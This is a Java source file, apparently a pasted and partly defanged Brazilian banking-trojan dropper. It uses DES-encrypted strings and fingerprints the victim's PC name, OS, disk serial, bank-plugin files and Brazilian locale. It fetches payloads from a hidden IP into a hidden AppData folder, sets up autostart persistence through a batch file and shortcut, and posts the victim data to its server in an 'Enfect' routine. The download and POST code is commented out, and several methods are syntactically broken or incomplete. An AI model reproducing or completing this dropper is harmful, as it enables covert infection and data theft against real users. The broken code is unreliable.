· 7 years ago · Jul 07, 2018, 05:14 AM
1import java.io.BufferedReader;
2import java.io.File;
3import java.io.FileFilter;
4import java.io.FileInputStream;
5import java.io.FileOutputStream;
6import java.io.FileWriter;
7import java.io.IOException;
8import java.io.InputStream;
9import java.io.InputStreamReader;
10import java.io.OutputStream;
11import java.io.PrintStream;
12import java.net.HttpURLConnection;
13import java.net.InetAddress;
14import java.net.URL;
15import java.net.URLConnection;
16import java.net.UnknownHostException;
17import java.nio.file.Files;
18import java.nio.file.LinkOption;
19import java.nio.file.Path;
20import java.nio.file.Paths;
21import java.util.Locale;
22import java.util.Random;
23import java.util.zip.InflaterInputStream;
24import javax.crypto.Cipher;
25import javax.crypto.SecretKey;
26import javax.crypto.SecretKeyFactory;
27import javax.crypto.spec.DESKeySpec;
28import javax.crypto.spec.IvParameterSpec;
29
30public class A6fjqsvz
31{
32 static String Prot;
33 static String IP;
34 static String DownPRO;
35 static String DownStart;
36 static String DownJava;
37 static String LocalPRO;
38 static String LocalStart;
39 static String LocalJava;
40 static String DirFixo;
41 static String CaminhoAPPDATA;
42 static String CaminhoBat;
43 static String NomeStart;
44 static String NomeShortCut;
45 static String CaminhoLog;
46 static String UserNow;
47 private static String Pc_;
48 private static String Hd_;
49 private static String Gb_;
50 private static String Win_;
51 static String key = "A6fjqsvz";
52
53 private static byte[] convertHexString(String ss)
54 {
55 byte[] digest = new byte[ss.length() / 2];
56 for (int i = 0; i < digest.length; i++)
57 {
58 String byteString = ss.substring(2 * i, 2 * i + 2);
59 int byteValue = Integer.parseInt(byteString, 16);
60 digest[i] = ((byte)byteValue);
61 }
62 return digest;
63 }
64
65 public static String decrypt(String message)
66 throws Exception
67 {
68 byte[] bytesrc = convertHexString(message);
69 Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
70 DESKeySpec desKeySpec = new DESKeySpec(key.getBytes("UTF-8"));
71 SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
72 SecretKey secretKey = keyFactory.generateSecret(desKeySpec);
73 IvParameterSpec iv = new IvParameterSpec(key.getBytes("UTF-8"));
74
75 cipher.init(2, secretKey, iv);
76 byte[] retByte = cipher.doFinal(bytesrc);
77 reststring = new String(retByte);
78 System.out.println(reststring);
79 return reststring;
80 }
81
82 private static String dumpFiles(File[] files)
83 {
84 String Result = "";
85 File[] arrayOfFile = files;int j = files.length;
86 for (int i = 0; i < j; i++)
87 {
88 File file = arrayOfFile[i];
89 String s = String.valueOf(file);
90 String[] sArr = s.split("\\\\");
91 String nomeArq = sArr[(sArr.length - 1)];
92 int res = nomeArq.indexOf(".");
93 String novaString = nomeArq.substring(0, res);
94
95 Result = novaString + "|" + Result;
96 }
97 return Result;
98 }
99
100 private static File[] getAllFiles(String path, String extension)
101 {
102 File dir = new File(path);
103 FileFilter filter = null;
104 if (extension != null) {
105 filter = new FileFilter()
106 {
107 public boolean accept(File pathname)
108 {
109 return pathname.getAbsolutePath().endsWith(A6fjqsvz.this);
110 }
111 };
112 }
113 return dir.listFiles(filter);
114 }
115
116 public static String getCaminho(String caminho)
117 {
118 int pos = caminho.lastIndexOf(File.separatorChar);
119 if (pos > -1) {
120 return caminho.substring(0, pos);
121 }
122 return "";
123 }
124
125 public static String GB()
126 throws Exception
127 {
128 String Result = "";
129
130 String Pasta = System.getenv(decrypt("af6291d054a6f988d073c0def5f28036ee02ccdf80f52491"));
131 if (Pasta != null) {
132 Pasta = System.getenv(decrypt("af6291d054a6f988d073c0def5f28036ee02ccdf80f52491")) + decrypt("f8ebf01d710dbf6cc2ae7ea5b3ae35fe");
133 } else {
134 Pasta = System.getenv(decrypt("af6291d054a6f988d0856707c7376c27")) + decrypt("f8ebf01d710dbf6cc2ae7ea5b3ae35fe");
135 }
136 if (FileExist(Pasta)) {
137 Result = dumpFiles(getAllFiles(Pasta, decrypt("6078936d53f20d82"))).toUpperCase();
138 } else {
139 Result = "";
140 }
141 return Result;
142 }
143
144 public static boolean FileExist(String Caminho)
145 {
146 File varTmpDir = new File(Caminho);
147 boolean exists = varTmpDir.exists();
148 return exists;
149 }
150
151 public static String MudarString(String source)
152 {
153 int len = source.length();
154 StringBuilder dest = new StringBuilder(len);
155 for (int i = len - 1; i >= 0; i--) {
156 dest.append(source.charAt(i));
157 }
158 return dest.toString();
159 }
160
161 public static String Nomes()
162 throws Exception
163 {
164 String letras = decrypt("953445cd876c9746bf26d6ad975e48f2f1851b65af4875df021c936fdc2f53c867c5dda723d68280a73b1e24770d15cfdd0ef484c861060a994570c7e315cd87");
165 Random random = new Random();
166 Random Numero = new Random();
167 int numero = Numero.nextInt(10);
168 String armazenaChaves = "";
169 int index = -1;
170 for (int i = 0; i < numero + 1; i++)
171 {
172 index = random.nextInt(letras.length());
173 armazenaChaves = armazenaChaves + letras.substring(index, index + 1);
174 }
175 return armazenaChaves;
176 }
177
178 public static int Is64()
179 throws Exception
180 {
181 String pFilesX86 = System.getenv(decrypt("af6291d054a6f988d073c0def5f28036ee02ccdf80f52491"));
182 if (pFilesX86 != null) {
183 return 0;
184 }
185 return 1;
186 }
187
188 public static boolean IsBR()
189 throws Exception
190 {
191 boolean result = false;
192
193 Locale loc = Locale.getDefault();
194 String A = loc.getCountry().toLowerCase();
195 String AA = loc.getDisplayCountry().toLowerCase();
196 String AAA = loc.getLanguage().toLowerCase();
197 String B = decrypt("38b8b9b95c290331");
198 String BB = decrypt("d92ec002da620aa7");
199 String BBB = decrypt("f208c30827905486");
200 if ((A.equals(B)) &&
201 (AA.equals(BB)) &&
202 (AAA.equals(BBB))) {
203 result = true;
204 }
205 return result;
206 }
207
208 public static String NamePC()
209 throws UnknownHostException
210 {
211 String Result = new String(InetAddress.getLocalHost().getHostName());
212 return Result.toUpperCase();
213 }
214
215 public static String VersaoOS()
216 throws Exception
217 {
218 return System.getProperty(decrypt("5113f87dbf31d56b"));
219 }
220
221 public static String getHDSerialWindows()
222 throws Exception
223 {
224 String result = "";
225 try
226 {
227 File file = File.createTempFile(decrypt("b32b669fded89175"), decrypt("038b0ead74f4f191"));
228 file.deleteOnExit();
229 FileWriter fw = new FileWriter(file);
230 String vbs = decrypt("38499ae34aa182f747c17711c1720d3e3d06c04181df566bdf616d2bdfcf943c8faa0e55fd294be04a04c46b47c3c59497e72044ed6d8588") + "\r\n" +
231 decrypt("37ccfc07d9e08c6fd11d14a8037bcabaec204e975bb2deb23a78218a835bc80f") + "\r\n" +
232 decrypt("88cf7899e9095d53248982e51a239e9b645943701ada73414fb0998c14e7174070c93e1089d8988c") + "\r\n" +
233 decrypt("5ae4c076f33f0bb0c26235573d54287e82bcebced969a30604af688a1607228267af7c69f7802877");
234 fw.write(vbs);
235 fw.close();
236 System.out.println(decrypt("fc0680718f122ec60208436937b5d0f406fa212dbe4edf52") + file.getPath());
237 BufferedReader input = new BufferedReader(new InputStreamReader(p
238 .getInputStream()));
239 String line;
240 while ((line = input.readLine()) != null)
241 {
242 String line;
243 result = result + line;
244 }
245 input.close();
246 }
247 catch (Exception localException) {}
248 if ((result.trim().length() < 1) || (result == null)) {
249 result = decrypt("818765b47a01a9097d40d1b187576cd0");
250 }
251 return result.trim();
252 }
253
254 public static void Donw(String protocolo, String endereco, String arquivo, String destino)
255 {
256 System.out.println(protocol)
257 System.out.println(endereco + ""+ arquivo + "" + destino)
258 /*try
259 {
260 URL url1 = new URL(protocolo, endereco, arquivo);
261 URLConnection con = url1.openConnection();
262 con.connect();
263 FileOutputStream fileOut = new FileOutputStream(destino);
264
265 int c = 0;
266 do
267 {
268 c = con.getInputStream().read();
269 fileOut.write(c);
270 } while (c != -1);
271 fileOut.close();
272 }
273 catch (IOException e)
274 {
275 e.printStackTrace();
276 }*/
277 }
278
279 public static void doCopy(InputStream is, OutputStream os)
280 throws Exception
281 {
282 int oneByte;
283 while ((oneByte = is.read()) != -1)
284 {
285 int oneByte;
286 os.write(oneByte);
287 }
288 os.close();
289 is.close();
290 }
291
292 public static void DeCompress(String CaminhoFile, String CaminhoNewFile)
293 throws Exception
294 {
295 FileInputStream fis2 = new FileInputStream(CaminhoFile);
296 InflaterInputStream iis = new InflaterInputStream(fis2);
297 FileOutputStream fos2 = new FileOutputStream(CaminhoNewFile);
298
299 doCopy(iis, fos2);
300 }
301
302 public static void CreateBat(String PathBat, String NomeStart)
303 throws Exception
304 {
305 FileWriter arquivo = new FileWriter(new File(PathBat));
306 arquivo.write(decrypt("7cb31bf53e40727b82c969c6d65025c3") + "\r\n");
307 arquivo.write(decrypt("33fdea2162da18aedef6a1956cfc4d1d") + NomeStart + decrypt("3bb8a73ad03b5d41"));
308 arquivo.close();
309 }
310
311 public static void CreateShortCut(String PathBat, String NomeShorCut, String DirBat)
312 throws Exception
313 {
314 NomeShorCut = getautostart() + "\\" + NomeShorCut + decrypt("8bd4028b198de06f");
315 try
316 {
317 File file = File.createTempFile(decrypt("f71292fbfbae313227e935330481ff2c"), decrypt("038b0ead74f4f191"));
318 file.deleteOnExit();
319 FileWriter fw = new FileWriter(file);
320
321 String vbs = decrypt("5da76c33277f60e81c751cbfe74134f47150bd3fb00c78772cab9ff8595eddfe46056bd5e898cee12d8045e3b2bae3224e34c5218e5e55f7") + "\r\n" +
322 decrypt("674065ad31c411f33f37868cb09ecb2429c8bc10e7b1c0d677feb053838c873ed528c7774a7c4604") + NomeShorCut + decrypt("2bc0a0901f8c6487") + "\r\n" +
323 decrypt("b0923d2027d5646d055a90be4e263d7889fc570ccf8a4138") + PathBat + decrypt("5f9b3d2360a4dc4d") + "\r\n" +
324 decrypt("2bbe32e0c0865bfe187ca792cf88abe202964fc458a8272a704e88c56d39505f") + "\r\n" +
325 decrypt("ce76ef2731481c501caed1a900cff07f66e9a0da4982ab17") + "\r\n" +
326 decrypt("25765714d082f8f89c010d514ab59c1125b5e630d8f88fae42da3b1ba3193d2a") + DirBat + decrypt("5f9b3d2360a4dc4d") + "\r\n" +
327 decrypt("a28344469c3586f60dc8545814ca076b") + "\r\n" +
328 decrypt("674065ad31c411f337036a1550e8e640126b70a428bf0ee7");
329
330 fw.write(vbs);
331 fw.close();
332 System.out.println(decrypt("fc0680718f122ec60208436937b5d0f406fa212dbe4edf52") + file.getPath());
333
334 }
335 catch (Exception e)
336 {
337 e.printStackTrace();
338 }
339 }
340
341 public static String getautostart()
342 throws Exception
343 {
344 String result = "";
345 String folder = decrypt("a7d9c1019ccdd6c6");
346 try
347 {
348 File file = File.createTempFile(decrypt("f71292fbfbae313227e935330481ff2c"), decrypt("038b0ead74f4f191"));
349 file.deleteOnExit();
350 FileWriter fw = new FileWriter(file);
351
352 String vbs = decrypt("5da76c33277f60e81c751cbfe74134f47150bd3fb00c78772cab9ff8595eddfe46056bd5e898cee12d8045e3b2bae3224e34c5218e5e55f7") + "\r\n" +
353 decrypt("2710819e177852b95545c223c571391b1168e3f6f12f1995c4a731c203c7d7ce29bc8aacd4213f82") + folder + decrypt("2bc0a0901f8c6487") + "\r\n" +
354 decrypt("dc4779be9f7330f16dc0e7ae4d1061ca3ce88c5cef2e37b3") + "\r\n";
355
356 fw.write(vbs);
357 fw.close();
358 System.out.println(decrypt("fc0680718f122ec60208436937b5d0f406fa212dbe4edf52") + file.getPath());
359 BufferedReader input =
360
361 catch (Exception e)
362 {
363 e.printStackTrace();
364 }
365 reu=System.out.print(result);
366 retrun reu
367 }
368
369 public static String POST_HTTP(String POST_URL, String POST_PARAMS)
370 throws Exception
371 {
372 System.out.println(POST_URL + " "+ POST_PARAMS)
373 /*URL obj = new URL(POST_URL);
374 HttpURLConnection con = (HttpURLConnection)obj.openConnection();
375 con.setRequestMethod(decrypt("8651a42263b6b66f"));
376 con.setRequestProperty(decrypt("8dedd27685f066d978d850afb7dc7603"), decrypt("906b78bde726ff9c6d8bb0380ce4cc79"));
377
378 con.setDoOutput(true);
379 OutputStream os = con.getOutputStream();
380 os.write(POST_PARAMS.getBytes());
381 os.flush();
382 os.close();
383
384 int responseCode = con.getResponseCode();
385 System.out.println(decrypt("652eca8b10a8b319afe09b3ce75b1b1ef0bd1520be61aad6") + responseCode);
386 if (responseCode == 200)
387 {
388 BufferedReader in = new BufferedReader(new InputStreamReader(
389 con.getInputStream()));
390
391 StringBuffer response = new StringBuffer();
392 String inputLine;
393 while ((inputLine = in.readLine()) != null)
394 {
395 String inputLine;
396 response.append(inputLine);
397 }
398 in.close();
399
400 System.out.println(response.toString());
401 }
402 else
403 {
404 System.out.println(decrypt("3131bd4b57cfb21f7329605be2c26bba8ebfd409fa9f5da6"));
405 }*/
406 return null;
407 }
408
409 public static void Enfect(String URL)
410 throws Exception
411 {
412 String Dados = decrypt("4abc5a9a34f84e84") + NamePC() + decrypt("1d0dccff31542b17") +
413 decrypt("4c1797745b3219e3") + VersaoOS() + decrypt("1d0dccff31542b17") +
414 decrypt("f7810e3de55d05a8") + GB() + decrypt("1d0dccff31542b17") +
415 decrypt("b0c24a567a1040dd") + getHDSerialWindows();
416
417 POST_HTTP(decrypt("5384ba69ed37b9d7") + URL + decrypt("73fbd42dad744e7544d0f4857de4dc95"), Dados);
418 }
419
420 public static boolean MaquinaOK()
421 throws Exception
422 {
423 Pc_ = NamePC();
424 Hd_ = getHDSerialWindows();
425 Win_ = VersaoOS();
426 Gb_ = GB();
427 boolean result = false;
428 if ((Pc_ != "") && (Hd_ != "") && (Win_ != "") && (Gb_ != "") && (IsBR())) {
429 result = true;
430 }
431 return result;
432 }
433
434 public static void main(String[] args)
435 throws Exception
436 {
437 if (true)
438 {
439 UserNow = decrypt("cd2592841c0cb140");
440 IP = decrypt("8454bad865403bfd0cfd9a9559af8a99");
441
442 Prot = decrypt("f22d67ddd517d1c4");
443 CaminhoAPPDATA = System.getenv(decrypt("8276c2e9e6a902ca"));
444 DownPRO = CaminhoAPPDATA + decrypt("0ce1d73b2adec5ad") + Nomes();
445 DownStart = CaminhoAPPDATA + decrypt("0ce1d73b2adec5ad") + Nomes();
446 DownJava = CaminhoAPPDATA + decrypt("0ce1d73b2adec5ad") + Nomes();
447 DirFixo = CaminhoAPPDATA + decrypt("c2ba23eab36c24c899d5398abde3e09c") + Nomes() + decrypt("0ce1d73b2adec5ad");
448 File newFile = new File(DirFixo);
449 newFile.mkdir();
450 Path Pasta = Paths.get(DirFixo, new String[0]);
451 Files.setAttribute(Pasta, decrypt("84e695ca0d1ea20b668abfb95f2794c3"), Boolean.valueOf(true), new LinkOption[0]);
452 LocalPRO = DirFixo + Nomes() + decrypt("02679f56b3d3d523");
453 NomeStart = Nomes() + decrypt("02679f56b3d3d523");
454 LocalStart = DirFixo + NomeStart;
455 LocalJava = DirFixo + Nomes() + decrypt("02679f56b3d3d523");
456 CaminhoBat = DirFixo + Nomes() + decrypt("a9cb23666e57c5b6");
457 NomeShortCut = Nomes();
458 CaminhoLog = CaminhoAPPDATA + decrypt("c2ba23eab36c24c8e70a3e53af9b59b9356775dd76dde048");
459 if (Is64() == 0)
460 {
461 FileWriter arquivo = new FileWriter(new File(CaminhoLog));
462 arquivo.write(decrypt("41c26aaad2082b15") + MudarString(LocalPRO) + "\r\n");
463 arquivo.write(decrypt("163ab28502cb60fb") + UserNow + "\r\n");
464 arquivo.write(decrypt("f5e0e2e5c6b65863") + MudarString(LocalJava));
465 arquivo.close();
466
467 Donw(Prot, IP, decrypt("d132c962d8acd14aebff57816201d1c8"), DownPRO);
468 Donw(Prot, IP, decrypt("015edc28a6891d5552d219843a0a0170"), DownStart);
469 Donw(Prot, IP, decrypt("c7b13e8273f602c292bf49ce23e0bc83"), DownJava);
470
471 DeCompress(DownPRO, LocalPRO);
472 DeCompress(DownStart, LocalStart);
473 DeCompress(DownJava, LocalJava);
474
475 CreateBat(CaminhoBat, NomeStart);
476
477 CreateShortCut(CaminhoBat, NomeShortCut, DirFixo);
478
479 Enfect(IP);
480 System.out.println(decrypt("e740a243a74f0f7144227ebbfcde2d76c0a7bbb043a29f5f8573794527dd4ced40191f4399b31237"));
481 }
482 else
483 {
484 FileWriter arquivo = new FileWriter(new File(CaminhoLog));
485 arquivo.write(decrypt("41c26aaad2082b15") + MudarString(LocalPRO) + "\r\n");
486 arquivo.write(decrypt("163ab28502cb60fb") + UserNow + "\r\n");
487 arquivo.write(decrypt("f5e0e2e5c6b65863") + MudarString(LocalJava));
488 arquivo.close();
489
490 Donw(Prot, IP, decrypt("67d9f5c69915e4e9a47838de7aaa3f91"), DownPRO);
491 Donw(Prot, IP, decrypt("015edc28a6891d5575c9e9c6acadcea3"), DownStart);
492 Donw(Prot, IP, decrypt("c7b13e8273f602c292bf49ce23e0bc83"), DownJava);
493
494 DeCompress(DownPRO, LocalPRO);
495 DeCompress(DownStart, LocalStart);
496 DeCompress(DownJava, LocalJava);
497
498 CreateBat(CaminhoBat, NomeStart);
499
500 CreateShortCut(CaminhoBat, NomeShortCut, DirFixo);
501
502 Enfect(IP);
503 System.out.println(decrypt("e740a243a74f0f7144227ebbfcde2d76c0a7bbb043a29f5f8573794527dd4ced40191f4399b31237"));
504 }
505 }
506 }
507}